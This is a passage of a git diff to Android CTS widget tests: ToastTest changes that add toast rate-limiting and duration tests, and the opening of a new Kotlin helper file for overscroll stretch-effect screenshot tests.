 import android.content.BroadcastReceiver;
@@ -52,7 +57,6 @@
 
 import androidx.annotation.NonNull;
 import androidx.annotation.Nullable;
-import androidx.test.InstrumentationRegistry;
 import androidx.test.annotation.UiThreadTest;
 import androidx.test.filters.LargeTest;
 import androidx.test.rule.ActivityTestRule;
@@ -64,14 +68,18 @@
 
 import junit.framework.Assert;
 
+import org.junit.After;
 import org.junit.Before;
 import org.junit.Rule;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
+import java.util.ArrayList;
+import java.util.List;
 import java.util.concurrent.CompletableFuture;
 import java.util.concurrent.CountDownLatch;
 import java.util.concurrent.TimeUnit;
+import java.util.stream.Stream;
 
 @LargeTest
 @RunWith(AndroidJUnit4.class)
@@ -83,12 +91,20 @@
     private static final int ACCESSIBILITY_STATE_WAIT_TIMEOUT_MS = 3000;
     private static final long TIME_FOR_UI_OPERATION  = 1000L;
     private static final long TIME_OUT = 5000L;
+    private static final int MAX_PACKAGE_TOASTS_LIMIT = 5;
     private static final String ACTION_TRANSLUCENT_ACTIVITY_RESUMED =
             "android.widget.cts.app.TRANSLUCENT_ACTIVITY_RESUMED";
     private static final String ACTION_TRANSLUCENT_ACTIVITY_FINISH =
             "android.widget.cts.app.TRANSLUCENT_ACTIVITY_FINISH";
     private static final ComponentName COMPONENT_TRANSLUCENT_ACTIVITY =
             ComponentName.unflattenFromString("android.widget.cts.app/.TranslucentActivity");
+    private static final double TOAST_DURATION_ERROR_TOLERANCE_FRACTION = 0.25;
+
+    // The following two fields work together to define rate limits for toasts, where each limit is
+    // defined as TOAST_RATE_LIMITS[i] toasts are allowed in the window of length
+    // TOAST_WINDOW_SIZES_MS[i].
+    private static final int[] TOAST_RATE_LIMITS = {3, 5, 6};
+    private static final long[] TOAST_WINDOW_SIZES_MS = {20_000, 42_000, 68_000};
 
     private Toast mToast;
     private Context mContext;
@@ -96,6 +112,7 @@
     private ViewTreeObserver.OnGlobalLayoutListener mLayoutListener;
     private ConditionVariable mToastShown;
     private ConditionVariable mToastHidden;
+    private NotificationManager mNotificationManager;
 
     @Rule
     public ActivityTestRule<CtsActivity> mActivityRule =
@@ -104,9 +121,22 @@
 
     @Before
     public void setup() {
-        mContext = InstrumentationRegistry.getTargetContext();
-        mUiAutomation = InstrumentationRegistry.getInstrumentation().getUiAutomation();
+        mContext = getInstrumentation().getContext();
+        mUiAutomation = getInstrumentation().getUiAutomation();
         mLayoutListener = () -> mLayoutDone = true;
+        mNotificationManager =
+                mContext.getSystemService(NotificationManager.class);
+        // disable rate limiting for tests
+        SystemUtil.runWithShellPermissionIdentity(() -> mNotificationManager
+                .setToastRateLimitingEnabled(false));
+    }
+
+    @After
+    public void teardown() {
+        waitForToastToExpire();
+        // re-enable rate limiting
+        SystemUtil.runWithShellPermissionIdentity(() -> mNotificationManager
+                .setToastRateLimitingEnabled(true));
     }
 
     @UiThreadTest
@@ -121,32 +151,54 @@
         new Toast(null);
     }
 
-    private static void assertShowCustomToast(final View view) {
+    private static void assertCustomToastShown(final View view) {
         PollingCheck.waitFor(TIME_OUT, () -> null != view.getParent());
     }
 
-    private void assertShowToast(Toast toast) {
-        assertTrue(mToastShown.block(TIME_OUT));
+    private static void assertCustomToastShown(CustomToastInfo customToastInfo) {
+        PollingCheck.waitFor(TIME_OUT, customToastInfo::isShowing);
     }
 
-    private static void assertShowAndHideCustomToast(final View view) {
-        assertShowCustomToast(view);
+    private static void assertCustomToastHidden(CustomToastInfo customToastInfo) {
+        PollingCheck.waitFor(TIME_OUT, () -> !customToastInfo.isShowing());
+    }
+
+    private static void assertCustomToastShownAndHidden(final View view) {
+        assertCustomToastShown(view);
         PollingCheck.waitFor(TIME_OUT, () -> null == view.getParent());
     }
 
-    private void assertShowAndHide(Toast toast) {
+    private static void assertCustomToastShownAndHidden(CustomToastInfo customToastInfo) {
+        assertCustomToastShown(customToastInfo);
+        assertCustomToastHidden(customToastInfo);
+    }
+
+    private void assertTextToastShownAndHidden() {
         assertTrue(mToastShown.block(TIME_OUT));
         assertTrue(mToastHidden.block(TIME_OUT));
     }
 
-    private static void assertNotShowCustomToast(final View view) {
+    private void assertTextToastShownAndHidden(TextToastInfo textToastInfo) {
+        assertTrue(textToastInfo.blockOnToastShown(TIME_OUT));
+        assertTrue(textToastInfo.blockOnToastHidden(TIME_OUT));
+    }
+
+    private static void assertCustomToastNotShown(final View view) {
         // sleep a while and then make sure do not show toast
         SystemClock.sleep(TIME_FOR_UI_OPERATION);
         assertNull(view.getParent());
     }
 
-    private void assertNotShowToast(Toast toast) {
-        assertFalse(mToastShown.block(TIME_FOR_UI_OPERATION));
+    private static void assertCustomToastNotShown(CustomToastInfo customToastInfo) {
+        assertThat(customToastInfo.isShowing()).isFalse();
+
+        // sleep a while and then make sure it's still not shown
+        SystemClock.sleep(TIME_FOR_UI_OPERATION);
+        assertThat(customToastInfo.isShowing()).isFalse();
+    }
+
+    private void assertTextToastNotShown(TextToastInfo textToastInfo) {
+        assertFalse(textToastInfo.blockOnToastShown(TIME_FOR_UI_OPERATION));
     }
 
     private void registerLayoutListener(final View view) {
@@ -159,7 +211,7 @@
         view.getViewTreeObserver().removeOnGlobalLayoutListener(mLayoutListener);
     }
 
-    private void makeToast() throws Throwable {
+    private void makeTextToast() throws Throwable {
         mToastShown = new ConditionVariable(false);
         mToastHidden = new ConditionVariable(false);
         mActivityRule.runOnUiThread(
@@ -181,6 +233,28 @@
         );
     }
 
+    private void waitForToastToExpire() {
+        if (mToast == null) {
+            return;
+        }
+        // text toast case
+        if (mToastShown != null && mToastHidden != null) {
+            boolean toastShown = mToastShown.block(/* return immediately */ 1);
+            boolean toastHidden = mToastHidden.block(/* return immediately */ 1);
+
+            if (toastShown && !toastHidden) {
+                assertTrue(mToastHidden.block(TIME_OUT));
+            }
+            return;
+        }
+
+        // custom toast case
+        View view = mToast.getView();
+        if (view != null && view.getParent() != null) {
+            PollingCheck.waitFor(TIME_OUT, () -> view.getParent() == null);
+        }
+    }
+
     @Test
     public void testShow_whenCustomToast() throws Throwable {
         makeCustomToast();
@@ -195,16 +269,70 @@
 
         // view will be attached to screen when show it
         assertEquals(View.VISIBLE, view.getVisibility());
-        assertShowAndHideCustomToast(view);
+        assertCustomToastShownAndHidden(view);
     }
 
     @Test
     public void testShow_whenTextToast() throws Throwable {
-        makeToast();
+        makeTextToast();
 
         mActivityRule.runOnUiThread(mToast::show);
 
-        assertShowAndHide(mToast);
+        assertTextToastShownAndHidden();
+    }
+
+    @Test
+    public void testHideTextToastAfterExpirationOfFirstShowCall_despiteRepeatedShowCalls()
+            throws Throwable {
+        // Measure the length of a long toast.
+        makeTextToast();
+        long start1 = SystemClock.uptimeMillis();
+        mActivityRule.runOnUiThread(mToast::show);
+        assertEquals(Toast.LENGTH_LONG, mToast.getDuration());
+        assertTextToastShownAndHidden();
+        long longDurationMs = SystemClock.uptimeMillis() - start1;
+
+        // Call show in the middle of the toast duration.
+        makeTextToast();
+        long start2 = SystemClock.uptimeMillis();
+        mActivityRule.runOnUiThread(mToast::show);
+        assertEquals(Toast.LENGTH_LONG, mToast.getDuration());
+        SystemClock.sleep(longDurationMs / 2);
+        mActivityRule.runOnUiThread(mToast::show);
+        assertTextToastShownAndHidden();
+        long repeatCallDurationMs = SystemClock.uptimeMillis() - start2;
+
+        // Assert duration was roughly the same despite a repeat call.
+        assertThat((double) repeatCallDurationMs)
+                .isWithin(longDurationMs * TOAST_DURATION_ERROR_TOLERANCE_FRACTION)
+                .of(longDurationMs);
+    }
+
+    @Test
+    public void testHideCustomToastAfterExpirationOfFirstShowCall_despiteRepeatedShowCalls()
+            throws Throwable {
+        // Measure the length of a long toast.
+        makeCustomToast();
+        long start1 = SystemClock.uptimeMillis();
+        mActivityRule.runOnUiThread(mToast::show);
+        assertEquals(Toast.LENGTH_LONG, mToast.getDuration());
+        assertCustomToastShownAndHidden(mToast.getView());
+        long longDurationMs = SystemClock.uptimeMillis() - start1;
+
+        // Call show in the middle of the toast duration.
+        makeCustomToast();
+        long start2 = SystemClock.uptimeMillis();
+        mActivityRule.runOnUiThread(mToast::show);
+        assertEquals(Toast.LENGTH_LONG, mToast.getDuration());
+        SystemClock.sleep(longDurationMs / 2);
+        mActivityRule.runOnUiThread(mToast::show);
+        assertCustomToastShownAndHidden(mToast.getView());
+        long repeatCallDurationMs = SystemClock.uptimeMillis() - start2;
+
+        // Assert duration was roughly the same despite a repeat call.
+        assertThat((double) repeatCallDurationMs)
+                .isWithin(longDurationMs * TOAST_DURATION_ERROR_TOLERANCE_FRACTION)
+                .of(longDurationMs);
     }
 
     @UiThreadTest
@@ -229,12 +357,12 @@
             mToast.cancel();
         });
 
-        assertNotShowCustomToast(view);
+        assertCustomToastNotShown(view);
     }
 
     @Test
     public void testAccessView_whenCustomToast() throws Throwable {
-        makeToast();
+        makeTextToast();
         assertFalse(mToast.getView() instanceof ImageView);
 
         final ImageView imageView = new ImageView(mContext);
@@ -246,7 +374,7 @@
             mToast.show();
         });
         assertSame(imageView, mToast.getView());
-        assertShowAndHideCustomToast(imageView);
+        assertCustomToastShownAndHidden(imageView);
     }
 
     @Test
@@ -257,7 +385,7 @@
         assertEquals(Toast.LENGTH_LONG, mToast.getDuration());
 
         View view = mToast.getView();
-        assertShowAndHideCustomToast(view);
+        assertCustomToastShownAndHidden(view);
         long longDuration = SystemClock.uptimeMillis() - start;
 
         start = SystemClock.uptimeMillis();
@@ -268,7 +396,7 @@
         assertEquals(Toast.LENGTH_SHORT, mToast.getDuration());
 
         view = mToast.getView();
-        assertShowAndHideCustomToast(view);
+        assertCustomToastShownAndHidden(view);
         long shortDuration = SystemClock.uptimeMillis() - start;
 
         assertTrue(longDuration > shortDuration);
@@ -277,22 +405,22 @@
     @Test
     public void testAccessDuration_whenTextToast() throws Throwable {
         long start = SystemClock.uptimeMillis();
-        makeToast();
+        makeTextToast();
         mActivityRule.runOnUiThread(mToast::show);
         assertEquals(Toast.LENGTH_LONG, mToast.getDuration());
 
-        assertShowAndHide(mToast);
+        assertTextToastShownAndHidden();
         long longDuration = SystemClock.uptimeMillis() - start;
 
         start = SystemClock.uptimeMillis();
-        makeToast();
+        makeTextToast();
         mActivityRule.runOnUiThread(() -> {
             mToast.setDuration(Toast.LENGTH_SHORT);
             mToast.show();
         });
         assertEquals(Toast.LENGTH_SHORT, mToast.getDuration());
 
-        assertShowAndHide(mToast);
+        assertTextToastShownAndHidden();
         long shortDuration = SystemClock.uptimeMillis() - start;
 
         assertTrue(longDuration > shortDuration);
@@ -307,7 +435,7 @@
         };
         long start = SystemClock.uptimeMillis();
         runOnMainAndDrawSync(mToast.getView(), showToast);
-        assertShowAndHideCustomToast(mToast.getView());
+        assertCustomToastShownAndHidden(mToast.getView());
         final long shortDuration = SystemClock.uptimeMillis() - start;
 
         final String originalSetting = Settings.Secure.getString(mContext.getContentResolver(),
@@ -320,7 +448,7 @@
                     ACCESSIBILITY_STATE_WAIT_TIMEOUT_MS, a11ySettingDuration);
             start = SystemClock.uptimeMillis();
             runOnMainAndDrawSync(mToast.getView(), showToast);
-            assertShowAndHideCustomToast(mToast.getView());
+            assertCustomToastShownAndHidden(mToast.getView());
             final long a11yDuration = SystemClock.uptimeMillis() - start;
             assertTrue("Toast duration " + a11yDuration + "ms < A11y setting " + a11ySettingDuration
                     + "ms", a11yDuration >= a11ySettingDuration);
@@ -331,14 +459,14 @@
 
     @Test
     public void testAccessDuration_whenTextToastAndWithA11yTimeoutEnabled() throws Throwable {
-        makeToast();
+        makeTextToast();
         final Runnable showToast = () -> {
             mToast.setDuration(Toast.LENGTH_SHORT);
             mToast.show();
         };
         long start = SystemClock.uptimeMillis();
         mActivityRule.runOnUiThread(showToast);
-        assertShowAndHide(mToast);
+        assertTextToastShownAndHidden();
         final long shortDuration = SystemClock.uptimeMillis() - start;
 
         final String originalSetting = Settings.Secure.getString(mContext.getContentResolver(),
@@ -349,10 +477,10 @@
                     Integer.toString(a11ySettingDuration));
             waitForA11yRecommendedTimeoutChanged(mContext,
                     ACCESSIBILITY_STATE_WAIT_TIMEOUT_MS, a11ySettingDuration);
-            makeToast();
+            makeTextToast();
             start = SystemClock.uptimeMillis();
             mActivityRule.runOnUiThread(showToast);
-            assertShowAndHide(mToast);
+            assertTextToastShownAndHidden();
             final long a11yDuration = SystemClock.uptimeMillis() - start;
             assertTrue("Toast duration " + a11yDuration + "ms < A11y setting " + a11ySettingDuration
                     + "ms", a11yDuration >= a11ySettingDuration);
@@ -410,7 +538,7 @@
             mToast.show();
             registerLayoutListener(mToast.getView());
         });
-        assertShowCustomToast(view);
+        assertCustomToastShown(view);
 
         assertEquals(horizontal1, mToast.getHorizontalMargin(), 0.0f);
         assertEquals(vertical1, mToast.getVerticalMargin(), 0.0f);
@@ -421,7 +549,7 @@
 
         int[] xy1 = new int[2];
         view.getLocationOnScreen(xy1);
-        assertShowAndHideCustomToast(view);
+        assertCustomToastShownAndHidden(view);
 
         final float horizontal2 = 0.1f;
         final float vertical2 = 0.1f;
@@ -430,7 +558,7 @@
             mToast.show();
             registerLayoutListener(mToast.getView());
         });
-        assertShowCustomToast(view);
+        assertCustomToastShown(view);
 
         assertEquals(horizontal2, mToast.getHorizontalMargin(), 0.0f);
         assertEquals(vertical2, mToast.getVerticalMargin(), 0.0f);
@@ -441,7 +569,7 @@
         assertLayoutDone(view);
         int[] xy2 = new int[2];
         view.getLocationOnScreen(xy2);
-        assertShowAndHideCustomToast(view);
+        assertCustomToastShownAndHidden(view);
 
         /** Check if the test is being run on a watch.
          *
@@ -469,14 +597,14 @@
             registerLayoutListener(mToast.getView());
         });
         View view = mToast.getView();
-        assertShowCustomToast(view);
+        assertCustomToastShown(view);
         assertEquals(Gravity.CENTER, mToast.getGravity());
         assertEquals(0, mToast.getXOffset());
         assertEquals(0, mToast.getYOffset());
         assertLayoutDone(view);
         int[] centerXY = new int[2];
         view.getLocationOnScreen(centerXY);
-        assertShowAndHideCustomToast(view);
+        assertCustomToastShownAndHidden(view);
 
         runOnMainAndDrawSync(mToast.getView(), () -> {
             mToast.setGravity(Gravity.BOTTOM, 0, 0);
@@ -484,14 +612,14 @@
             registerLayoutListener(mToast.getView());
         });
         view = mToast.getView();
-        assertShowCustomToast(view);
+        assertCustomToastShown(view);
         assertEquals(Gravity.BOTTOM, mToast.getGravity());
         assertEquals(0, mToast.getXOffset());
         assertEquals(0, mToast.getYOffset());
         assertLayoutDone(view);
         int[] bottomXY = new int[2];
         view.getLocationOnScreen(bottomXY);
-        assertShowAndHideCustomToast(view);
+        assertCustomToastShownAndHidden(view);
 
         // x coordinate is the same
         assertEquals(centerXY[0], bottomXY[0]);
@@ -506,14 +634,14 @@
             registerLayoutListener(mToast.getView());
         });
         view = mToast.getView();
-        assertShowCustomToast(view);
+        assertCustomToastShown(view);
         assertEquals(Gravity.BOTTOM, mToast.getGravity());
         assertEquals(xOffset, mToast.getXOffset());
         assertEquals(yOffset, mToast.getYOffset());
         assertLayoutDone(view);
         int[] bottomOffsetXY = new int[2];
         view.getLocationOnScreen(bottomOffsetXY);
-        assertShowAndHideCustomToast(view);
+        assertCustomToastShownAndHidden(view);
 
         assertEquals(bottomXY[0] + xOffset, bottomOffsetXY[0]);
         assertEquals(bottomXY[1] - yOffset, bottomOffsetXY[1]);
@@ -635,14 +763,14 @@
 
         mActivityRule.runOnUiThread(mToast::show);
 
-        assertShowAndHide(mToast);
+        assertTextToastShownAndHidden();
         assertFalse(toastShown.isDone());
         assertFalse(toastHidden.isDone());
     }
 
     @Test(expected = NullPointerException.class)
     public void testAddCallback_whenNull_throws() throws Throwable {
-        makeToast();
+        makeTextToast();
         mToast.addCallback(null);
     }
 
@@ -678,11 +806,11 @@
 
     @Test
     public void testTextToastAllowed_whenInTheForeground() throws Throwable {
-        makeToast();
+        makeTextToast();
 
         mActivityRule.runOnUiThread(mToast::show);
 
-        assertShowAndHide(mToast);
+        assertTextToastShownAndHidden();
     }
 
     @Test
@@ -694,18 +822,18 @@
 
         mActivityRule.runOnUiThread(mToast::show);
 
-        assertShowAndHideCustomToast(view);
+        assertCustomToastShownAndHidden(view);
     }
 
     @Test
     public void testTextToastAllowed_whenInTheBackground() throws Throwable {
         // Make it background
         mActivityRule.finishActivity();
-        makeToast();
+        makeTextToast();
 
         mActivityRule.runOnUiThread(mToast::show);
 
-        assertShowAndHide(mToast);
+        assertTextToastShownAndHidden();
     }
 
     @Test
@@ -719,7 +847,7 @@
 
         mActivityRule.runOnUiThread(mToast::show);
 
-        assertNotShowCustomToast(view);
+        assertCustomToastNotShown(view);
     }
 
     @Test
@@ -738,9 +866,9 @@
 
         // The custom toast should not be blocked in multi-window mode. Otherwise, it should be.
         if (mActivityRule.getActivity().isInMultiWindowMode()) {
-            assertShowCustomToast(view);
+            assertCustomToastShown(view);
         } else {
-            assertNotShowCustomToast(view);
+            assertCustomToastNotShown(view);
         }
         mContext.sendBroadcast(new Intent(ACTION_TRANSLUCENT_ACTIVITY_FINISH));
     }
@@ -762,7 +890,7 @@
 
     @Test
     public void testShow_whenTextToast_sendsAccessibilityEvent() throws Throwable {
-        makeToast();
+        makeTextToast();
         AccessibilityEventFilter filter =
                 event -> event.getEventType() == AccessibilityEvent.TYPE_NOTIFICATION_STATE_CHANGED;
 
@@ -792,6 +920,104 @@
         assertThat(event.getText()).contains(TEST_CUSTOM_TOAST_TEXT);
     }
 
+    @Test
+    public void testPackageCantPostMoreThanMaxToastsQuickly() throws Throwable {
+        List<TextToastInfo> toasts =
+                createTextToasts(MAX_PACKAGE_TOASTS_LIMIT + 1, "Text", Toast.LENGTH_SHORT);
+        showToasts(toasts);
+
+        assertTextToastsShownAndHidden(toasts.subList(0, MAX_PACKAGE_TOASTS_LIMIT));
+        assertTextToastNotShown(toasts.get(MAX_PACKAGE_TOASTS_LIMIT));
+    }
+
+    @Test
+    public void testRateLimitingToasts() throws Throwable {
+        // enable rate limiting to test it
+        SystemUtil.runWithShellPermissionIdentity(() -> mNotificationManager
+                .setToastRateLimitingEnabled(true));
+
+        long totalTimeSpentMs = 0;
+        int shownToastsNum = 0;
+        // We add additional 3 seconds just to be sure we get into the next window.
+        long additionalWaitTime = 3_000L;
+
+        for (int i = 0; i < TOAST_RATE_LIMITS.length; i++) {
+            int currentToastNum = TOAST_RATE_LIMITS[i] - shownToastsNum;
+            List<TextToastInfo> toasts =
+                    createTextToasts(currentToastNum + 1, "Text", Toast.LENGTH_SHORT);
+            long startTime = SystemClock.elapsedRealtime();
+            showToasts(toasts);
+
+            assertTextToastsShownAndHidden(toasts.subList(0, currentToastNum));
+            assertTextToastNotShown(toasts.get(currentToastNum));
+            long endTime = SystemClock.elapsedRealtime();
+
+            // We won't check after the last limit, no need to sleep then.
+            if (i != TOAST_RATE_LIMITS.length - 1) {
+                totalTimeSpentMs += endTime - startTime;
+                shownToastsNum += currentToastNum;
+                long sleepTime = Math.max(
+                        TOAST_WINDOW_SIZES_MS[i] - totalTimeSpentMs + additionalWaitTime, 0);
+                SystemClock.sleep(sleepTime);
+                totalTimeSpentMs += sleepTime;
+            }
+        }
+    }
+
+    @Test
+    public void testCustomToastPostedWhileInForeground_notShownWhenAppGoesToBackground()
+            throws Throwable {
+        List<CustomToastInfo> toasts = createCustomToasts(2, "Custom", Toast.LENGTH_SHORT);
+        showToasts(toasts);
+        assertCustomToastShown(toasts.get(0));
+
+        // move to background
+        mActivityRule.finishActivity();
+
+        assertCustomToastHidden(toasts.get(0));
+        assertCustomToastNotShown(toasts.get(1));
+    }
+
+    /** Create given number of text toasts with the same given text and length. */
+    private List<TextToastInfo> createTextToasts(int num, String text, int length)
+            throws Throwable {
+        List<TextToastInfo> toasts = new ArrayList<>();
+        mActivityRule.runOnUiThread(() -> {
+            toasts.addAll(Stream
+                    .generate(() -> TextToastInfo.create(mContext, text, length))
+                    .limit(num + 1)
+                    .collect(toList()));
+        });
+        return toasts;
+    }
+
+    /** Create given number of custom toasts with the same given text and length. */
+    private List<CustomToastInfo> createCustomToasts(int num, String text, int length)
+            throws Throwable {
+        List<CustomToastInfo> toasts = new ArrayList<>();
+        mActivityRule.runOnUiThread(() -> {
+            toasts.addAll(Stream
+                    .generate(() -> CustomToastInfo.create(mContext, text, length))
+                    .limit(num + 1)
+                    .collect(toList()));
+        });
+        return toasts;
+    }
+
+    private void showToasts(List<? extends ToastInfo> toasts) throws Throwable {
+        mActivityRule.runOnUiThread(() -> {
+            for (ToastInfo t : toasts) {
+                t.getToast().show();
+            }
+        });
+    }
+
+    private void assertTextToastsShownAndHidden(List<TextToastInfo> toasts) {
+        for (int i = 0; i < toasts.size(); i++) {
+            assertTextToastShownAndHidden(toasts.get(i));
+        }
+    }
+
     private ConditionVariable registerBlockingReceiver(String action) {
         ConditionVariable broadcastReceived = new ConditionVariable(false);
         IntentFilter filter = new IntentFilter(action);
@@ -874,4 +1100,70 @@
             mToastHidden.open();
         }
     }
+
+    private static class TextToastInfo implements ToastInfo {
+        private final Toast mToast;
+        private final ConditionVariable mToastShown;
+        private final ConditionVariable mToastHidden;
+
+        TextToastInfo(
+                Toast toast,
+                ConditionVariable toastShown,
+                ConditionVariable toastHidden) {
+            mToast = toast;
+            mToastShown = toastShown;
+            mToastHidden = toastHidden;
+        }
+
+        static TextToastInfo create(Context context, String text, int toastLength) {
+            Toast t = Toast.makeText(context, text, toastLength);
+            ConditionVariable toastShown = new ConditionVariable(false);
+            ConditionVariable toastHidden = new ConditionVariable(false);
+            t.addCallback(new ConditionCallback(toastShown, toastHidden));
+            return new TextToastInfo(t, toastShown, toastHidden);
+        }
+
+        @Override
+        public Toast getToast() {
+            return mToast;
+        }
+
+        boolean blockOnToastShown(long timeout) {
+            return mToastShown.block(timeout);
+        }
+
+        boolean blockOnToastHidden(long timeout) {
+            return mToastHidden.block(timeout);
+        }
+    }
+
+    private static class CustomToastInfo implements ToastInfo {
+        private final Toast mToast;
+
+        CustomToastInfo(Toast toast) {
+            mToast = toast;
+        }
+
+        static CustomToastInfo create(Context context, String text, int toastLength) {
+            Toast t = new Toast(context);
+            t.setDuration(toastLength);
+            TextView view = new TextView(context);
+            view.setText(text);
+            t.setView(view);
+            return new CustomToastInfo(t);
+        }
+
+        @Override
+        public Toast getToast() {
+            return mToast;
+        }
+
+        boolean isShowing() {
+            return mToast.getView().getParent() != null;
+        }
+    }
+
+    interface ToastInfo {
+        Toast getToast();
+    }
 }
diff --git a/tests/tests/widget/src/android/widget/cts/util/StretchEdgeUtil.kt b/tests/tests/widget/src/android/widget/cts/util/StretchEdgeUtil.kt
new file mode 100644
index 0000000..8520f44
--- /dev/null
+++ b/tests/tests/widget/src/android/widget/cts/util/StretchEdgeUtil.kt
@@ -0,0 +1,405 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+@file:JvmName("StretchEdgeUtil")
+
+package android.widget.cts.util
+
+import android.graphics.Bitmap
+import android.graphics.Color
+import android.graphics.Rect
+import android.os.SystemClock
+import android.view.PixelCopy
+import android.view.View
+import android.view.Window
+import android.view.animation.AnimationUtils
+import androidx.test.InstrumentationRegistry
+import androidx.test.rule.ActivityTestRule
+import com.android.compatibility.common.util.CtsTouchUtils
+import com.android.compatibility.common.util.CtsTouchUtils.EventInjectionListener
+import com.android.compatibility.common.util.SynchronousPixelCopy
+import org.junit.Assert
+
+/* ---------------------------------------------------------------------------
+ * This file contains utility functions for testing the overscroll stretch
+ * effect. Containers are 90 x 90 pixels and contains colored rectangles
+ * that are 90 x 50 pixels (or 50 x 90 pixels for horizontal containers).
+ *
+ * The first rectangle must be Color.BLUE and the last rectangle must be
+ * Color.MAGENTA.
+ * ---------------------------------------------------------------------------
+ */
+
+/**
+ * This sleeps until the [AnimationUtils.currentAnimationTimeMillis] changes
+ * by at least `durationMillis` milliseconds. This is useful for EdgeEffect because
+ * it uses that mechanism to determine the animation duration.
+ *
+ * @param durationMillis The time to sleep in milliseconds.
+ */
+private fun sleepAnimationTime(durationMillis: Long) {
+    val startTime = AnimationUtils.currentAnimationTimeMillis()
+    var currentTime = startTime
+    val endTime = startTime + durationMillis
+    do {
+        Thread.sleep(endTime - currentTime)
+        currentTime = AnimationUtils.currentAnimationTimeMillis()
+    } while (currentTime < endTime)
+}
+
+/**
+ * Takes a screen shot at the given coordinates and returns the Bitmap.
+ */
+private fun takeScreenshot(
+    window: Window,
+    screenPositionX: Int,
+    screenPositionY: Int,
+    width: Int,
+    height: Int
+): Bitmap {
+    val copy = SynchronousPixelCopy()
+    val dest = Bitmap.createBitmap(
+            width, height,
+            if (window.isWideColorGamut()) Bitmap.Config.RGBA_F16 else Bitmap.Config.ARGB_8888)
+    val srcRect = Rect(0, 0, width, height)
+    srcRect.offset(screenPositionX, screenPositionY)
+    val copyResult: Int = copy.request(window, srcRect, dest)
+    Assert.assertEquals(PixelCopy.SUCCESS.toLong(), copyResult.toLong())
+    return dest
+}
+
+/**
+ * Drags an area of the screen and executes [onFinalMove] after sending the final drag
+ * motion and [onUp] after the drag up event has been sent.
+ */
+private fun dragAndExecute(
+    activityRule: ActivityTestRule<*>,
+    screenX: Int,
+    screenY: Int,
+    deltaX: Int,
+    deltaY: Int,
+    onFinalMove: () -> Unit = {},
+    onUp: () -> Unit = {}
+) {
+    val instrumentation = InstrumentationRegistry.getInstrumentation()
+    CtsTouchUtils.emulateDragGesture(instrumentation, activityRule,
+            screenX,
+            screenY,
+            deltaX,
+            deltaY,
+            50,
+            10,
+            object : EventInjectionListener {
+                private var mNumEvents = 0
+                override fun onDownInjected(xOnScreen: Int, yOnScreen: Int) {}
+                override fun onMoveInjected(xOnScreen: IntArray, yOnScreen: IntArray) {
+                    mNumEvents++
+                    if (mNumEvents == 10) {
+                        onFinalMove()
+                    }
+                }
+
+                override fun onUpInjected(xOnScreen: Int, yOnScreen: Int) {
+                    onUp()
+                }
+            })
+}
+
+/**
+ * Drags inside [view] starting at coordinates ([viewX], [viewY]) relative to [view] and moving
+ * ([deltaX], [deltaY]) pixels before lifting. A Bitmap is captured after the final drag event,
+ * before the up event.
+ * @return A Bitmap of [view] after the final drag motion event.
+ */
+private fun dragAndCapture(
+    activityRule: ActivityTestRule<*>,
+    view: View,
+    viewX: Int,
+    viewY: Int,
+    deltaX: Int,
+    deltaY: Int
+): Bitmap {
+    var bitmap: Bitmap? = null
+    val locationOnScreen = IntArray(2)
+    activityRule.runOnUiThread {
+        view.getLocationOnScreen(locationOnScreen)
+    }
+
+    val screenX = locationOnScreen[0]
+    val screenY = locationOnScreen[1]
+
+    dragAndExecute(
+            activityRule = activityRule,
+            screenX = screenX + viewX,
+            screenY = screenY + viewY,
+            deltaX = deltaX,
+            deltaY = deltaY,
+            onFinalMove = {
+                bitmap = takeScreenshot(
+                        activityRule.activity.window,
+                        screenX,
+                        screenY,
+                        view.width,
+                        view.height
+                )
+            }
+    )
+    return bitmap!!
+}
+
+/**
+ * Drags in [view], starting at coordinates ([viewX], [viewY]) relative to [view] and moving
+ * ([deltaX], [deltaY]) pixels before lifting. Immediately after the up event, a down event
+ * is sent. If it happens within 400 milliseconds of the last motion event, the Bitmap is captured
+ * after 600ms more. If an animation was going to run, this allows that animation to finish before
+ * capturing the Bitmap. This is attempted up to 5 times.
+ *
+ * @return A Bitmap of [view] after the drag, release, then tap and hold, or `null` if the
+ * device did not respond quickly enough.
+ */
+private fun dragHoldAndCapture(
+    activityRule: ActivityTestRule<*>,
+    view: View,
+    viewX: Int,
+    viewY: Int,
+    deltaX: Int,
+    deltaY: Int
+): Bitmap? {
+    val locationOnScreen = IntArray(2)
+    activityRule.runOnUiThread {
+        view.getLocationOnScreen(locationOnScreen)
+    }
+
+    val screenX = locationOnScreen[0]
+    val screenY = locationOnScreen[1]
+
+    val instrumentation = InstrumentationRegistry.getInstrumentation()
+
+    // Try 5 times at most. If it fails, just return the null bitmap
+    repeat(5) {
+        var lastMotion = 0L
+        var bitmap: Bitmap? = null
+        dragAndExecute(
+                activityRule = activityRule,
+                screenX = screenX + viewX,
+                screenY = screenY + viewY,
+                deltaX = deltaX,
+                deltaY = deltaY,
+                onFinalMove = {
+                    lastMotion = AnimationUtils.currentAnimationTimeMillis()
+                },
+                onUp = {
+                    // Now press
+                    CtsTouchUtils.injectDownEvent(instrumentation.getUiAutomation(),
+                            SystemClock.uptimeMillis(), screenX,
+                            screenY, null)
+
+                    val downInjected = AnimationUtils.currentAnimationTimeMillis()
+
+                    // The receding time is 600 ms, but we don't want to be near the final
+                    // part of the animation when the pixels may overlap.
+                    if (downInjected - lastMotion < 400) {
+                        // Now make sure that we wait until the release should normally have finished:
+                        sleepAnimationTime(600)
+
+                        bitmap = takeScreenshot(
+                                activityRule.activity.window,
+                                screenX,
+                                screenY,
+                                view.width,
+                                view.height
+                        )
+                    }
+                }
+        )
+
+        CtsTouchUtils.injectUpEvent(instrumentation.getUiAutomation(),
+                SystemClock.uptimeMillis(), false,
+                screenX, screenY, null)
+
+        if (bitmap != null) {
+            return bitmap // success!
+        }
+    }
+    return null // timing didn't allow for success this time, so return a null
+}
+
+/**
+ * Drags down on [view] and ensures that the blue rectangle is stretched to beyond its normal
+ * size.
+ */
+fun dragDownStretches(
+    activityRule: ActivityTestRule<*>,
+    view: View
+): Boolean {
+    val bitmap = dragAndCapture(
+            activityRule,
+            view,
